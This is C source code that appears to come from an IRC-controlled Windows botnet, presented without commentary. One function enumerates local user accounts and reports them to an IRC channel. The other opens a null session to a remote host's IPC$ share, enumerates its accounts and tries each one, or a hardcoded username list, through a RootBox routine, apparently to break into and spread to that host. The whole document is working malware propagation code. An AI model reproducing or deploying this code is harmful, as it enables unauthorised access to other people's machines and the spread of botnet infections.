BOOL ListUsers(SOCKET sock, char *chan, BOOL notice, char *ServerName) { char buffer[IRCLINE]; LPUSER_INFO_0 pBuf=NULL, pTmpBuf; LPWSTR wServerName = (LPWSTR)AsWideString(ServerName); DWORD dwLevel=0,dwPrefMaxLen=MAX_PREFERRED_LENGTH,dwEntriesRead=0, dwTotalEntries=0,dwResumeHandle=0,dwTotalCount=0; NET_API_STATUS nStatus; irc_privmsg(sock,chan,"Username accounts for local system:",notice); do { nStatus = fNetUserEnum(wServerName,dwLevel,FILTER_NORMAL_ACCOUNT,(LPBYTE*)&pBuf, dwPrefMaxLen,&dwEntriesRead,&dwTotalEntries,&dwResumeHandle); if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (DWORD i = 0;i < dwEntriesRead; i++) { assert(pTmpBuf != NULL); if (pTmpBuf == NULL) { sprintf(buffer,"-\x03\x34\2net\2\x03- an access violation has occured"); irc_privmsg(sock,chan,buffer,notice); break; } sprintf(buffer," %S",pTmpBuf->usri0_name); irc_privmsg(sock,chan,buffer,notice,TRUE); pTmpBuf++; dwTotalCount++; } } } else { sprintf(buffer,"-\x03\x34\2net\2\x03- user list error %s <%ld>",NasError(nStatus),nStatus); irc_privmsg(sock,chan,buffer,notice); } if (pBuf != NULL) { fNetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); if (pBuf != NULL) fNetApiBufferFree(pBuf); sprintf(buffer,"Total users found: %d.",dwTotalCount); irc_privmsg(sock,chan,buffer,notice); if(nStatus != ERROR_SUCCESS) return FALSE; return TRUE; }
BOOL NetBios(EXINFO exinfo) { char szUsername[300], RemoteName[200], szServer[18]; WCHAR *pszServerName = NULL,sName[500]; LPUSER_INFO_0 pBuf=NULL, pTmpBuf; DWORD dwLevel=0, dwPrefMaxLen=MAX_PREFERRED_LENGTH, dwEntriesRead=0, dwTotalEntries=0, dwResumeHandle=0, dwTotalCount=0; NET_API_STATUS nStatus; sprintf(szServer,"\\\\%s",exinfo.ip); MultiByteToWideChar(CP_ACP,0,szServer,-1,sName,sizeof(sName)); pszServerName=sName; NETRESOURCE nr; nr.lpLocalName=NULL; nr.lpProvider=NULL; nr.dwType=RESOURCETYPE_ANY; sprintf(RemoteName,"%s\\ipc$",szServer); nr.lpRemoteName=RemoteName; if (fWNetAddConnection2(&nr,"","",0) != NO_ERROR) { fWNetCancelConnection2(RemoteName,0,TRUE); return FALSE; } do { nStatus = fNetUserEnum(pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT, (LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle); fWNetCancelConnection2(RemoteName,0,TRUE); // If the call succeeds, if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA)) { if ((pTmpBuf = pBuf) != NULL) { for (DWORD i = 0; (i < dwEntriesRead); i++) { if (pTmpBuf == NULL) break; WideCharToMultiByte(CP_ACP,0,pTmpBuf->usri0_name,-1,szUsername,sizeof(szUsername),NULL,NULL); if ((RootBox(szUsername,szServer,exinfo))==TRUE) break; pTmpBuf++; dwTotalCount++; } } } if (pBuf != NULL) { fNetApiBufferFree(pBuf); pBuf = NULL; } } while (nStatus == ERROR_MORE_DATA); if (pBuf != NULL) fNetApiBufferFree(pBuf); if (nStatus == ERROR_ACCESS_DENIED) { for (int i=0; usernames[i]; i++) { if ((RootBox(usernames[i],szServer,exinfo))==TRUE) break; } } return TRUE; }